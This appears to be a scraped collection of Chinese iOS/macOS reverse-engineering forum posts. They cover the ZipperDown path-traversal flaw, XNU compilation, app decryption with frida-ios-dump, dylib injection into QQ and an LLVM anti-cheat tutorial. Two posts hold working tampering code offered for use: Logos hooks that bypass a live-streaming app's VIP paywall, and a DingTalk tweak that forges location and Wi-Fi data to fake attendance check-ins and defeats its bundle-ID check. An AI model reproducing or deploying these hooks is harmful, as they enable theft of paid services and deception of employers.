@Zhang wrote:

不是什么大事儿,但是鉴于新闻热度等等原因可能还是开一贴给普通开发者解释一下比较好。
压缩文件是允许路径指向类似../A/../B这种格式的, UNIX下../代表这个文件夹的上一层。比如说/A/B/../C实际上指的是/A/C

有问题的解压库没有对这种../做过滤,也就是说可以往解压路径外的地方解压文件。这不是一个系统级的沙盒逃逸漏洞

现在重点来了:
很多App会把所谓的热更新补丁放在沙盒内的某个路径下,比如说我们叫Documents/A.js吧,如果热更新的传输过程有中间人攻击的问题或者app被通过某种方式打开恶意的压缩包, 攻击者就可以覆盖A.js的内容,这样下次app启动加载热更新补丁A.js时就会执行恶意代码。

修复

原版的几个库下啊都有人提交了修复的PR, 老外破逼事多不一定merge,自己实现一遍也不难。另外做好SSL Pinning并且最重要的是,我说了无数遍了: 热更新绝大多数时候都是给18线三流程序员擦屁股用的,也是同样的一批人根本不知道怎么正确的做安全,引入巨量的隐患。 这都第几次了

感想

还是那句话,漏洞本身其实不是什么太复杂的事儿,但是确实暴露出来一些普通开发者的问题。

另外没记错的话盘古6还是哪一代的越狱也利用了类似的漏洞

Posts: 3

Participants: 3

Read full topic

逆向直播盒子MT·Box-iOS客户端

$
0
0

@yuzhouheike wrote:

首选推荐一下上次的一篇文章:逆向直播盒子Green-iOS客户端·另外我写这个文章主要是想说文章最后的几句话

写在前面的话本次要使用的几个工具

  • IDA
  • AloneMonkey的MonkeyDev
  • Charles

什么是直播盒子?

  • 单个直播的叫平台,比如斗鱼,熊猫,快手等等
  • 所有的平台放在一个App里面就被称为盒子
  • 现在上面上有很多直播平台(带颜色的)
  • 今天给大家带来的是MT·Box

什么是iOS逆向?

  • 不重要了

为什么上周刚刚逆向了直播盒子Green!这周又逆向这MT·Box个盒子?

  • 事情的起因是:上周帮兄弟们的忙,兄弟们需要破解,上个周末分析了直播盒子Green(破解本地各种加密。分析到最后发现服务端做了身份校验,所以失败了了)。所以被好多兄弟疯狂嘲讽!为了不让兄弟们失望而归!所以这个周末的第一天又进行一次

首先上个图(市面上的直播盒子现在也有很多,图只是其中一种,另一个兄弟发过来的链接)

  • 登录页可以抓包修改数据包status值为1 也可以直接输入123456进入

  • 顺利进入首页

  • 随便点击一个进去看看(点到你想看的位置)

  • 提示开通VIP 开通是不可能开通的。这辈子都不会开通的。只能找老师傅来破解。
  • 抓包改包

  • 没有vip字段。没有status状态码。
    • 但是你有没有发现有几个字段返回的空比如lifetime
    • 接下来改包

  • 成功看到了直播!意料之中

接下来就是hook源代码,直接把lifetime写出666666

%hook LoginModel

- (void)setLifetime:(id)arg1 {
	%log;
	NSLog(@"%@", arg1);
	%orig;
}

- (void)setStatus:(id)arg1 {
	%log;
	NSLog(@"%@", arg1);
	%orig;
}


- (NSString *)lifetime{
	%log;
 	return @"666666";
 }

-(NSString *)status{
%log;
	return @"1";
}

%end



上一篇文章结尾我说了这句话:其实正常其他盒子到这一步,就已经可以拿到直播url了,但是这家的盒子做的比较严谨!url居然返回空!散了吧。到此为止!这个盒子我搞不了。今天写这一篇主要就是为了证明我没有骗你们

最后

最后的最后!我想告诉大家一个小秘密。

那就是经过我不懈的努力。在盘古科技曝出iOS安全漏洞的第二天复现了盘古科技(搞越狱那个)曝出的iOS安全漏洞ZipperDown的漏洞视频(黑掉微博iOS客户端)https://zipperdown.org。但是作为一个有操守的iOS逆向爱好者,在微博没有修补漏洞之前。现在不能跟大家分享复现这个漏洞视频的过程(异常的艰辛。所以最终一定会和大家分享复现这个漏洞并执行微博任意代码的这个过程。盘古选择微博。是因为即使有这个漏洞,想执行微博任意代码还是不太容易!为了搞定这个。我甚至有一天晚上工作到3点!希望快速成长起来!)

Posts: 4

Participants: 3

Read full topic

在10.13.1上编译xnu内核(小白文)

$
0
0

@Peterpan0927 wrote:

为什么是小白文呢?因为我就是小白啊

在进行MOXil学习的时候,第九章我们需要通过编译内核来对XNU有进一步的了解,那么如何在最近的系统上编译XNU呢?今天就一起踩坑吧

资源工作

这里我们的内核版本和系统对应,首先看看是什么系统:

系统版本

那么我们从苹果开源代码网站上找到自己版本对应的XNU内核,对于我们来说,对应的是xnu-4570.20.62

如果下载了内核源码之后直接编译你就会遇到一大堆的error然后痛苦的go die,这是因为缺少很多头文件,库等等,首先我们需要安装XcodeCommand line Tool,这会帮我们解决很多麻烦,然后我们需要下载几个包,为了简便起见,我们直接通过脚本来做:

vim download.sh

脚本的内容为:

wget https://opensource.apple.com/tarballs/libplatform/libplatform-126.1.2.tar.gz
wget https://opensource.apple.com/tarballs/libdispatch/libdispatch-703.1.4.tar.gz
wget https://opensource.apple.com/tarballs/xnu/xnu-4570.20.62.tar.gz
wget https://opensource.apple.com/tarballs/dtrace/dtrace-262.tar.gz
wget https://opensource.apple.com/tarballs/AvailabilityVersions/AvailabilityVersions-32.tar.gz

其实你直接把命令复制过去就好的,到时候如果要做个自动化的工程还可以加个自动解压加编译的脚本
这样我们的下载过程就完成,接下来就是解压然后逐个编译,并配置好环境

环境准备

编译

AvailabilityVersions

$ mkdir -p dst
$ make install SRCROOT=$PWD DSTROOT=$PWD/dst
$ sudo ditto $PWD/dst/usr/local `xcrun -sdk macosx -show-sdk-path`/usr/local

dtrace

只需要编译 dtrace 项目中的 ctfconvertctfdumpctfmerge

$ mkdir -p obj sym dst
$ xcodebuild install -target ctfconvert -target ctfdump -target ctfmerge ARCHS="x86_64" SRCROOT=$PWD OBJROOT=$PWD/obj SYMROOT=$PWD/sym DSTROOT=$PWD/dst
$ sudo ditto $PWD/dst/Applications/Xcode.app/Contents/Developer/Toolchains/XcodeDefault.xctoolchain /Applications/Xcode.app/Contents/Developer/Toolchains/XcodeDefault.xctoolchain

XNU头文件

在编译 libdispatch 之前,需要将XNU的头文件复制到SDK文件夹下,因为编译 libdispatch 时需要用到这些头文件。

$ mkdir -p BUILD.h/obj BUILD.h/sym BUILD.h/dst
$ make installhdrs SDKROOT=macosx ARCH_CONFIGS=X86_64 SRCROOT=$PWD OBJROOT=$PWD/BUILD.h/obj SYMROOT=$PWD/BUILD.h/sym DSTROOT=$PWD/BUILD.h/dst
$ sudo xcodebuild installhdrs -project libsyscall/Libsyscall.xcodeproj -sdk macosx ARCHS="x86_64" SRCROOT=$PWD/libsyscall OBJROOT=$PWD/BUILD.h/obj SYMROOT=$PWD/BUILD.h/sym DSTROOT=$PWD/BUILD.h/dst
$ sudo ditto BUILD.h/dst `xcrun -sdk macosx -show-sdk-path`

xnu-4570.1.46 版本的内核源码因为 缺失thread_self_restrict.h头文件,所以此处必定会编译失败。
需要在 xcodebuild 前先创建一个空的文件来使编译通过。

$ touch libsyscall/os/thread_self_restrict.h

libplatform

编译 libdispatch 时同样需要用到 libplatform 的头文件。

$ sudo ditto $PWD/include `xcrun -sdk macosx -show-sdk-path`/usr/local/include

libdispatch

$ mkdir -p obj sym dst
$ sudo xcodebuild install -project libdispatch.xcodeproj -target libfirehose_kernel -sdk macosx ARCHS="x86_64" SRCROOT=$PWD OBJROOT=$PWD/obj SYMROOT=$PWD/sym DSTROOT=$PWD/dst
$ sudo ditto $PWD/dst/usr/local `xcrun -sdk macosx -show-sdk-path`/usr/local

XNU

# KERNEL_CONFIGS: RELEASE / DEVELOPMENT / DEBUG
$ make SDKROOT=macosx ARCH_CONFIGS=X86_64 KERNEL_CONFIGS="RELEASE"

编译成功后,即可在BUILD/obj目录下找到内核文件。

# KERNEL_CONFIGS: RELEASE
$ cd BUILD/obj/RELEASE_X86_64
$ file kernel
kernel: Mach-O 64-bit executable x86_64

# KERNEL_CONFIGS: DEVELOPMENT
$ cd BUILD/obj/DEVELOPMENT_X86_64
$ file kernel.development
kernel: Mach-O 64-bit executable x86_64

# KERNEL_CONFIGS: DEBUG
$ cd BUILD/obj/DEBUG_X86_64
$ file kernel.debug
kernel: Mach-O 64-bit executable x86_64

最后可以看到我们编译成功的图:

最后要注意的是编译内核对于你的系统版本之类的有要求,比如上述的教程在更老的系统可能就不会成功,甚至在同为High Serria的其他小版本上也不会成功,我只是没有想到很坑的一点是我用的Serria的GCD和平台库函数加上10.13.1的内核最后东瓶西凑成功的。

一开始总是报一个没有<internal/atomic.h>的错,我本来想要创建一个解决,但是GCD中有很多依赖这个头文件的数据类型,所以我通过google找到这个出自于libplatform-125,于是乎我就在源代码逐个筛选,最后成功。如果你想体验这个过程,就全部使用10.13.1libplatformlibdispatch,你就会有不一样的体会。

参考链接

Building the XNU kernel on Mac OS X Sierra (10.12.X)
XNU内核编译简要教程

Posts: 2

Participants: 2

Read full topic

Hikari的Swift移植

iOS钉钉远程打卡助手(支持越狱和非越狱)

$
0
0

@kevll wrote:

前言:本文主要讲述使用hook方式实现钉钉远程打卡功能,涉及到tweak相关知识,如果你不想了解具体实现细节可直接到我的Github地址参考安装(包含越狱和非越狱两种方法)

  你是不是像小编一样每个月靠着固定薪水维持家庭开支,而且还要经过层层“剥离”… 一旦迟到扣工资是小事,是不是全勤奖升职加薪的机会就泡汤了?是不是每天早上都想懒会床(嗯…让我再睡会…),不想上班…本文就讲述如何拥有一个“免死金牌” :laughing:

  目前越来越多的企业考勤都从传统都指纹打卡转移到了使用钉钉或者企业微信这类的APP进行考勤,主要是定位和Wi-Fi考勤两种方式。APP考勤这块企业使用钉钉的比较多(我瞎蒙的:smile:),因为钉钉主要是面向企业服务的而不是员工(替我们心疼几秒…:tired_face:),所以本文先解决钉钉的群众问题,企业微信将安排在下一期。

钉钉卡

项目完整代码,已托管到Github。如果喜欢,欢迎Star

思路

hook一个APP最难的不是代码,往往是分析出合适的切入点。

  • 想要实现hook定位打卡,最简单最直接的就是直接hook APP的定位功能,这也就是要实现虚拟定位。
  • 想要实现Wi-Fi打卡,就必须要hook APP的Wi-Fi获取方法,那么就需要找到获取Wi-Fi的方法。

  那么也就是说我们需要实现虚拟定位和hook Wi-Fi获取的方法?如果这么做就相对比较麻烦了,因为我们至少要找到两个切入点。那么应该要这么做比较合适呢?其实只要你细心就能发现打卡页面以及外面的工作页面全部都是H5的页面(其实钉钉使用了自家的Weex),这个反汇编后也能印证。

h5

  • 既然是H5页面,那么很有可能用到JS调用原生功能来获取Wi-Fi和定位信息。(使用过Weex的同学应该知道,其实是原生封装好功能模块然后暴露出一个Module给Weex使用,然后用WXSDKEngine去register一下Module,以此增强Weex的功能)
  • 既然是需要交互,那么直接在Hopper或者IDA检索就能发现切入点
    切入点

   小伙伴们该说了,首先我不一定知道这个是H5页面,其次我也不知道啥原生和JS交互,臣妾做不到啊,有没有更直观简单的找到切入点的方法呢?

  其实上面主要从静态分析来考虑,我们可以换一个角度来思考,既然考勤需要获取定位,那么肯定用到了locationManager:didUpdateLocations:代理方法,所以使用hopper或者IDA检索一波:

locationManager:didUpdateLocations:

什么?那么多…是哪一个呢?这时候动态分析就派上用场了,下面介绍全部基于lldb调试
1.进入lldb之后,打断点:

(lldb) br s -n "-[AMapLocationManager locationManager:didUpdateLocations:]"

2.点击考勤打卡,这时候观察终端

Process 1735 stopped
* thread #40, name = 'com.autonavi.AMapLocationThread', stop reason = breakpoint 1.1
    frame #0: 0x00000001004900dc DingTalk`-[AMapLocationManager locationManager:didUpdateLocations:]
DingTalk`-[AMapLocationManager locationManager:didUpdateLocations:]:
->  0x1004900dc <+0>:  sub    sp, sp, #0x120            ; =0x120 
    0x1004900e0 <+4>:  stp    d15, d14, [sp, #0x80]
    0x1004900e4 <+8>:  stp    d13, d12, [sp, #0x90]
    0x1004900e8 <+12>: stp    d11, d10, [sp, #0xa0]
Target 0: (DingTalk) stopped.

由此可见已经进入断点,进而印证我们的猜测,考勤定位使用的AMapLocationManager这个类,定位回调的就是下面这个方法(注:hook此方法可实现虚拟定位打卡功能):

-[AMapLocationManager locationManager:didUpdateLocations:]

3.确定了使用AMapLocationManager这个类后,接下来直接用Hopper或者IDA检索AMapLocationManager:

AMapLocationManager

4.上面框框的方法是不是很熟悉😁,猜测这个就是调用定位的入口代码,同样打个断点验证一下:

(lldb) br s -n "-[AMapLocationManager startUpdatingLocation]"

5.点击考勤打卡,观察终端,如期的到达断点

Process 1748 stopped
* thread #1, queue = 'com.apple.main-thread', stop reason = breakpoint 1.1
    frame #0: 0x00000001004ec3ec DingTalk`-[AMapLocationManager startUpdatingLocation]
DingTalk`-[AMapLocationManager startUpdatingLocation]:
->  0x1004ec3ec <+0>:  stp    x22, x21, [sp, #-0x30]!
    0x1004ec3f0 <+4>:  stp    x20, x19, [sp, #0x10]
    0x1004ec3f4 <+8>:  stp    x29, x30, [sp, #0x20]
    0x1004ec3f8 <+12>: add    x29, sp, #0x20            ; =0x20 
Target 0: (DingTalk) stopped.

6.然后就很简单了,打印一下调用栈,就能找到切入点了:

(lldb) bt
* thread #1, queue = 'com.apple.main-thread', stop reason = breakpoint 1.1
  * frame #0: 0x00000001004ec3ec DingTalk`-[AMapLocationManager startUpdatingLocation]
    frame #1: 0x0000000101bd8558 DingTalk`-[DTALocationManager dt_startUpdatingLocation] + 200
    frame #2: 0x00000001029c2e90 DingTalk`-[LAPLocationInfo start:to:] + 1424
    frame #3: 0x00000001029d5eec DingTalk`___lldb_unnamed_symbol76963$$DingTalk + 52
    frame #4: 0x00000001029d5964 DingTalk`-[LAPluginInstanceCollector handleJavaScriptRequest:callback:] + 2076
    frame #5: 0x00000001052d472c DingTalkHelper.dylib`_logos_method$_ungrouped$LAPluginInstanceCollector$handleJavaScriptRequest$callback$(LAPluginInstanceCollector*, objc_selector*, objc_object*, void (objc_object*) block_pointer) + 128
    frame #6: 0x00000001029b63b4 DingTalk`-[LAWVPluginInstanceCollector registerInstanceCollector]_block + 152
    frame #7: 0x00000001029b02b8 DingTalk`-[LAWebViewJavascriptBridge _handleQueueString:] + 1100
    frame #8: 0x00000001029afccc DingTalk`-[LAWebViewJavascriptBridge _flushMessageQueue] + 308
    frame #9: 0x00000001029b08e0 DingTalk`-[LAWebViewJavascriptBridge webView:shouldStartLoadWithRequest:navigationType:] + 304
    frame #10: 0x00000001029cc748 DingTalk`-[LAWebView callback_webViewShouldStartLoadWithRequest:navigationType:] + 172
    frame #11: 0x00000001029e1a7c DingTalk`-[LAWebViewProgressEstimater webView:shouldStartLoadWithRequest:navigationType:] + 288
    frame #12: 0x0000000187c131c8 UIKit`-[UIWebView webView:decidePolicyForNavigationAction:request:frame:decisionListener:] + 296
    frame #13: 0x0000000182890ae0 CoreFoundation`__invoking___ + 144
    frame #14: 0x0000000182788548 CoreFoundation`-[NSInvocation invoke] + 284
    frame #15: 0x000000018278ce70 CoreFoundation`-[NSInvocation invokeWithTarget:] + 60
    frame #16: 0x00000001876d821c WebKitLegacy`-[_WebSafeForwarder forwardInvocation:] + 156
    frame #17: 0x000000018288eaa4 CoreFoundation`___forwarding___ + 408
    frame #18: 0x000000018278cd1c CoreFoundation`_CF_forwarding_prep_0 + 92
    frame #19: 0x0000000182890ae0 CoreFoundation`__invoking___ + 144
    frame #20: 0x0000000182788548 CoreFoundation`-[NSInvocation invoke] + 284
    frame #21: 0x00000001867823d8 WebCore`HandleDelegateSource(void*) + 108
    frame #22: 0x0000000182841124 CoreFoundation`__CFRUNLOOP_IS_CALLING_OUT_TO_A_SOURCE0_PERFORM_FUNCTION__ + 24
    frame #23: 0x0000000182840bb8 CoreFoundation`__CFRunLoopDoSources0 + 540
    frame #24: 0x000000018283e8b8 CoreFoundation`__CFRunLoopRun + 724
    frame #25: 0x0000000182768d10 CoreFoundation`CFRunLoopRunSpecific + 384
    frame #26: 0x0000000184050088 GraphicsServices`GSEventRunModal + 180
    frame #27: 0x0000000187a3df70 UIKit`UIApplicationMain + 204
    frame #28: 0x00000001000e4548 DingTalk`___lldb_unnamed_symbol1$$DingTalk + 88
    frame #29: 0x00000001823068b8 libdyld.dylib`start + 4

7.下面就是我们hook的切入方法了:

 -[LAPluginInstanceCollector handleJavaScriptRequest:callback:]

代码实现:

  历经“千辛万苦”,终于可以写代码了。handleJavaScriptRequest:callback:方法传递进来两个参数,第一个参数是JS的请求对象(JS传递过来的对象),第二个是callback就是钉钉根据JS的具体请求做具体处理后对JS的一个结果回调(callback JS Method)。

  那么我们就可以利用“中间人攻击”原理hook这个方法。首先拦截到JS的请求,分析是否是获取定位经纬度或者Wi-Fi信息,如果是我们就自己构造一个callback传递给原生方法,这样原生方法获取经纬度或者Wi-Fi信息后就会对我们自己的callback进行回调,然后我们对回调传递的内容进行修改最后将修改后的数据回传给JS即可实现HOOK打卡功能。

  利用这个原理,我们能做的远远不仅如此…

  action为"getInterface"时是请求获取Wi-Fi信息,我们只需修改macIp、ssid即可。action为"start"时是获取定位信息,只需修改accuracy、latitude、longitude即可,具体代码如下:

%hook LAPluginInstanceCollector

- (void)handleJavaScriptRequest:(id)arg2 callback:(void(^)(id dic))arg3{
    if(![LLPunchManager shared].punchConfig.isOpenPunchHelper){
        %orig;
    } else if([arg2[@"action"] isEqualToString:@"getInterface"]){
        id callback = ^(id dic){
            NSDictionary *retDic = @{
                @"errorCode" : @"0",
                @"errorMessage": @"",
                @"keep": @"0",
                @"result": @{
                    @"macIp": [LLPunchManager shared].punchConfig.wifiMacIp,
                    @"ssid": [LLPunchManager shared].punchConfig.wifiName
                }
            };
            arg3(![LLPunchManager shared].punchConfig.isLocationPunchMode ? retDic : dic);
        };
        %orig(arg2,callback);
    } else if([arg2[@"action"] isEqualToString:@"start"]){
        id callback = ^(id dic){
            NSDictionary *retDic = @{
                @"errorCode" : @"0",
                @"errorMessage": @"",
                @"keep": @"1",
                @"result": @{
                    @"aMapCode": @"0",
                    @"accuracy": [LLPunchManager shared].punchConfig.accuracy,
                    @"latitude": [LLPunchManager shared].punchConfig.latitude,
                    @"longitude": [LLPunchManager shared].punchConfig.longitude,
                    @"netType": @"",
                    @"operatorType": @"unknown",
                    @"resultCode": @"0",
                    @"resultMessage": @""
                }
            }; 
            arg3([LLPunchManager shared].punchConfig.isLocationPunchMode ? retDic : dic);
        };
        %orig(arg2,callback);
    } else {
        %orig;
    }
}

%end

注:代码略去了相应的对原生模块的回调,因为只有在分析时有必要。

解决钉钉弹出非法客户端问题

  越狱手机直接使用插件不存在这个问题,只有自己修改钉钉bundleId时会出现这个问题,原因很明显,就是钉钉运行时对bundleId进行了检测,解决办法如下:

%hook DTInfoPlist

+ (NSString *)getAppBundleId{
	return @"com.laiwang.DingTalk";
}

%end

总结

  看到这里,你肯定发现整个篇幅都在讲述分析过程,具体编码被我一笔带过了,原因正如我开始讲述的那样,逆向最难的是发现hook切入点,真正花时间的也是分析过程。一旦找到合适的切入点,可能实现功能仅仅只需要几行代码即可。

项目完整代码,已托管到Github。如果喜欢,欢迎Star

号外

最近有好多小伙伴问我是怎么打包签名的,这里推荐一个我自用的python签名打包脚本,支持签名Watch和Plugins。

签名脚本完整代码,已托管到Github

Posts: 29

Participants: 16

Read full topic

一条命令完成砸壳

$
0
0

@AloneMonkey wrote:

背景

最早的砸壳工具是stefanesser写的dumpdecrypted,通过手动注入然后启动应用程序在内存进行dump解密后的内存实现砸壳,这种砸壳只能砸主App可执行文件。

对于应用程序里面存在framework的情况可以使用conradev的dumpdecrypted,通过_dyld_register_func_for_add_image注册回调对每个模块进行dump解密。

但是这种还是需要拷贝dumpdecrypted.dylib,然后找路径什么的,还是挺麻烦的。所以笔者干脆放到MonkeyDev模板变成一个tweak的形式dumpdecrypted,这样填写目标bundle id然后看日志把文件拷贝出来就可以了。

但是还是很麻烦,需要拷贝文件自己还原ipa,然后有了KJCracks的Clutch通过posix_spawnp创建进程然后dump直接生成ipa包在设备,可以说是很方便了。这个是工具在使用的时候大部分应用会出报错,此外生成的包还需要自己拷贝。

一键dump

人都是想偷懒的,于是便有了本文将要介绍的frida-ios-dump,该工具基于frida提供的强大功能通过注入js实现内存dump然后通过python自动拷贝到电脑生成ipa文件,通过以下方式配置完成之后真的就是一条命令砸壳。

环境配置

首先上面也说了该工具基于frida,所以首先要在手机和mac电脑上面安装frida,安装方式参数官网的文档:https://www.frida.re/docs/home/

如果mac端报如下错:

Uninstalling a distutils installed project (six) has been deprecated and will be removed in a future version. This is due to the fact that uninstalling a distutils project will only partially uninstall the project.

使用如下命令安装即可:

sudo pip install frida –upgrade –ignore-installed six

然后将越狱设备通过USB连上电脑进行端口映射:

iproxy 2222 22

到此环境就配置好了,接下来就可以一键砸壳了! (另当前python基于2.x的语法,先切换到python 2.x的环境

一键砸壳

最简单的方式直接使用./dump + 应用显示的名字即可,如下:

➜  frida-ios-dump ./dump.py 微信
open target app......
Waiting for the application to open......
start dump target app......
start dump /var/containers/Bundle/Application/6665AA28-68CC-4845-8610-7010E96061C6/WeChat.app/WeChat
WeChat                                        100%   68MB  11.4MB/s   00:05
start dump /private/var/containers/Bundle/Application/6665AA28-68CC-4845-8610-7010E96061C6/WeChat.app/Frameworks/WCDB.framework/WCDB
WCDB                                          100% 2555KB  11.0MB/s   00:00
start dump /private/var/containers/Bundle/Application/6665AA28-68CC-4845-8610-7010E96061C6/WeChat.app/Frameworks/MMCommon.framework/MMCommon
MMCommon                                      100%  979KB  10.6MB/s   00:00
start dump /private/var/containers/Bundle/Application/6665AA28-68CC-4845-8610-7010E96061C6/WeChat.app/Frameworks/MultiMedia.framework/MultiMedia
MultiMedia                                    100% 6801KB  11.1MB/s   00:00
start dump /private/var/containers/Bundle/Application/6665AA28-68CC-4845-8610-7010E96061C6/WeChat.app/Frameworks/mars.framework/mars
mars                                          100% 7462KB  11.1MB/s   00:00
AppIcon60x60@2x.png                           100% 2253   230.9KB/s   00:00
AppIcon60x60@3x.png                           100% 4334   834.8KB/s   00:00
AppIcon76x76@2x~ipad.png                      100% 2659   620.6KB/s   00:00
AppIcon76x76~ipad.png                         100% 1523   358.0KB/s   00:00
AppIcon83.5x83.5@2x~ipad.png                  100% 2725   568.9KB/s   00:00
Assets.car                                    100%   10MB  11.1MB/s   00:00
.......
AppIntentVocabulary.plist                     100%  197    52.9KB/s   00:00
AppIntentVocabulary.plist                     100%  167    43.9KB/s   00:00
AppIntentVocabulary.plist                     100%  187    50.2KB/s   00:00
InfoPlist.strings                             100% 1720   416.4KB/s   00:00
TipsPressTalk@2x.png                          100%   14KB   2.2MB/s   00:00
mm.strings                                    100%  404KB  10.2MB/s   00:00
network_setting.html                          100% 1695   450.4KB/s   00:00
InfoPlist.strings                             100% 1822   454.1KB/s   00:00
mm.strings                                    100%  409KB  10.2MB/s   00:00
network_setting.html                          100% 1819   477.5KB/s   00:00
InfoPlist.strings                             100% 1814   466.8KB/s   00:00
mm.strings                                    100%  409KB  10.3MB/s   00:00
network_setting.html                          100% 1819   404.9KB/s   00:00

如果存在应用名称重复了怎么办呢?没关系首先使用如下命令查看安装的应用的名字和bundle id:

➜  frida-ios-dump git:(master) ✗ ./dump.py -l
  PID  Name                       Identifier
-----  -------------------------  ----------------------------------------
 9661  App Store                  com.apple.AppStore
16977  Moment                     com.kevinholesh.Moment
 1311  Safari                     com.apple.mobilesafari
16586  信息                         com.apple.MobileSMS
 4147  微信                         com.tencent.xin
10048  相机                         com.apple.camera
 7567  设置                         com.apple.Preferences
    -  CrashReporter              crash-reporter
    -  Cydia                      com.saurik.Cydia
    -  通讯录                        com.apple.MobileAddressBook
    -  邮件                         com.apple.mobilemail
    -  音乐                         com.apple.Music
    ......

然后使用如下命令对指定的bundle id应用进行砸壳即可:

➜  frida-ios-dump git:(master) ✗ ./dump.py -b com.tencent.xin

等待自动砸壳传输完成之后便会到当前目录生成一个解密后的ipa文件,这个时候赶紧拖到MonkeyDev开始逆向之旅吧!

Posts: 14

Participants: 11

Read full topic

mac版QQ抢红包插件


在 macOS 下构造 App,实现对另一 App 的代码注入

$
0
0

@webfrog wrote:

前言

在 macOS 的逆向中,除了直接修改二进制文件外,针对使用 Objective-C 语言的原生 App,编写动态链接库来实现将代码逻辑动态注入到 App,也是一种逆向方式。将动态链接库注入到 App,一般通过两种方式,一种是修改 Mach-O 文件的 load command,而另外一种就是在运行 App 的二进制文件时,添加 DYLD_INSERT_LIBRARIES 环境变量,让 dyld 来加载我们的动态库。

利用 DYLD_INSERT_LIBRARIES 这个特性,我们可以自己构造一个全新的 App 来完成代码注入。当运行这个注入 App 之后,就会把我们的动态库,注入到指定的 App 中。目前常见的 macOS 的逆向的项目中,大多是提供一个 shell 脚本,这个脚本通过 ‘insert_dylib’ 或者类似的工具,修改原 App 的可执行文件来实现代码注入的。而通过构造动态注入 App 的方式,可以避免对原 App 的修改,对原 App 没有任何影响。如果用户通过注入 App 来打开,则可以运行我们修改后的代码,而如果打开的是原 App, 则是 App 本身的代码,而且只要原 App 升级后没有影响到我们 hook 的函数,用户可以正常对 App 进行升级。

App 文件结构

macOS 系统(包括 iOS 系统)的 App 文件,其实是一个文件夹,里面按照指定的格式,放置了 App 所需要的所有文件,比如可执行文件、图片资源、动态库等等。打开 Finder,在 Applications 文件夹中随便找一个后缀是 .app 的文件点击鼠标右键,选择 Show Package Contents,就能看到其中的内容了。在这些文件中, Contents/MacOS 文件夹里,放置的就是 App 的可执行文件, Contents/Frameworks 中,放置了 App 自带的一些动态库,而我们就从这两个地方着手,构建我们的注入 App。

生成注入 App

对一个 App 来说,可执行文件不一定非要是使用源代码编译链接后生成的,一个拥有执行权限的 shell 脚本,也是可以的。接下来,以注入 QQ 这个 App 为例来说明如何生成一个注入 App。

动态链接库

新建一个 macOS 下的动态库工程,最终生成名为 libQQInject.dylib 的动态链接库。为了演示,这个库的作用仅仅是在 App 打开后,在控制台输出一个 log,证明动态库已经运行起来。代码如下:

__attribute__((constructor)) void myentry() {
    NSLog(@"QQ is Injected successfully!!!");
}

创建 App

新建一个文件夹,命名为 QQInject.app,并创建一个子文件夹,名字叫 Contents

拷贝动态库

QQInject.app/Contents 下创建一个名为 Frameworks 的文件夹,将动态链接库 libQQInject.dylib 拷贝到这个文件夹中。

编写启动脚本

QQInject.app/Contents 下新建文件夹 MacOS,然后在这个文件夹下新建一个 shell 脚本文件,名字为 QQInject

注意:这个步骤中,脚本文件的名字必须与 App 名字保持一致。

以下是 shell 脚本内容:

#!/bin/sh
CurrentAppPath=$(cd $(dirname $0) && cd .. && pwd)
DYLD_INSERT_LIBRARIES=${CurrentAppPath}/Frameworks/libQQInject.dylib /Applications/QQ.app/Contents/MacOS/QQ

注意: 这里默认了 QQ 的 App 安装在了 /Applications 路径下

使用以下命令为脚本增加可执行权限

chmod +x QQInject.app/Contents/MacOS/QQInject

优化

至此,注入 App 已经可以运行了,试着双击以下这个新生成的 App,然后你会发现 QQ 已经运行起来,同时在系统的 console 中,可以找到一条日志:

QQ is Injected successfully!!!

注入成功,但是同时你会发现一些问题。接下来继续做优化

系统 Dock 图标

首先发现的一个问题就是,App 运行后,系统 Dock 图标不是 QQ 的图标,而是一个默认的应用图标。解决这个问题办法就是在 QQInject.app/Contents 下新建一个 Info.plist 文件,内容如下:

<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE plist PUBLIC "-//Apple//DTD PLIST 1.0//EN" "http://www.apple.com/DTDs/PropertyList-1.0.dtd">
<plist version="1.0">
<dict>
	<key>LSUIElement</key>
	<true/>
</dict>
</plist>

再次运行 QQInject.app 后,系统 Dock 上已经是 QQ 的图标了。

脚本化

上面的整个过程都是固定的流程,可以编写一个 shell 脚本来完成从动态库 build 到 注入 App 生成的整个过程。

最后

本文只是提供一个代码注入更加方便使用的思路,为了把逆向的结果更方便的使用。其中很多地方的逻辑并不是很严谨,比如被注入 App 不一定就安装在 /Applications 路径下,这就交给大家来自己写一个逻辑来判断啦~~

参考资料

Posts: 3

Participants: 2

Read full topic

从零开始瞎玩llvm:利用llvm保护程序免受内存修改器的攻击

$
0
0

@Zhang wrote:

本文的前置要求: 已阅读 从零开始的LLVM快速入门:自己动手实现基于llvm的字符串加密 这篇文章包含大量的基础概念。

在正向开发,尤其是单机游戏开发中,开发者常常饱受Cheat-Engine 八门神器类的内存修改器攻击。常见的保护方法是手动做大量的加密解密操作,这会导致无比巨大的人力成本和维护成本,本文将教会你Hack LLVM并使用80行代码来在编译层解决这个问题。

考虑以下的代码:

static int flag=0;
int main(int argc, char const *argv[]) {
  while(flag<13){
    printf("Flag is %i not 13.Sleeping for another 5 seconds\n",flag);
    sleep(5);
    flag++;
  }
  printf("You've waited for %i seconds. Quite an effort!\n",flag);
  return 0;
}

逻辑非常简单,从0开始循环判断flag值是不是13,如果是就打印信息并退出,否则睡眠5秒钟后继续循环。

使用clang -S -emit-llvm 可获得如下的LLVM IR:

; ModuleID = 'LLVMConstantEncryptionTest.m'
source_filename = "LLVMConstantEncryptionTest.m"
target datalayout = "e-m:o-i64:64-f80:128-n8:16:32:64-S128"
target triple = "x86_64-apple-macosx10.13.0"

@flag = internal global i32 0, align 4
@.str = private unnamed_addr constant [50 x i8] c"Flag is %i not 13.Sleeping for another 5 seconds\0A\00", align 1
@.str.1 = private unnamed_addr constant [48 x i8] c"You've waited for %i seconds. Quite an effort!\0A\00", align 1

; Function Attrs: noinline optnone ssp uwtable
define i32 @main(i32, i8**) #0 {
  %3 = alloca i32, align 4
  %4 = alloca i32, align 4
  %5 = alloca i8**, align 8
  store i32 0, i32* %3, align 4
  store i32 %0, i32* %4, align 4
  store i8** %1, i8*** %5, align 8
  br label %6

; <label>:6:                                      ; preds = %9, %2
  %7 = load i32, i32* @flag, align 4
  %8 = icmp slt i32 %7, 13
  br i1 %8, label %9, label %15

; <label>:9:                                      ; preds = %6
  %10 = load i32, i32* @flag, align 4
  %11 = call i32 (i8*, ...) @printf(i8* getelementptr inbounds ([50 x i8], [50 x i8]* @.str, i32 0, i32 0), i32 %10)
  %12 = call i32 @"\01_sleep"(i32 5)
  %13 = load i32, i32* @flag, align 4
  %14 = add nsw i32 %13, 1
  store i32 %14, i32* @flag, align 4
  br label %6

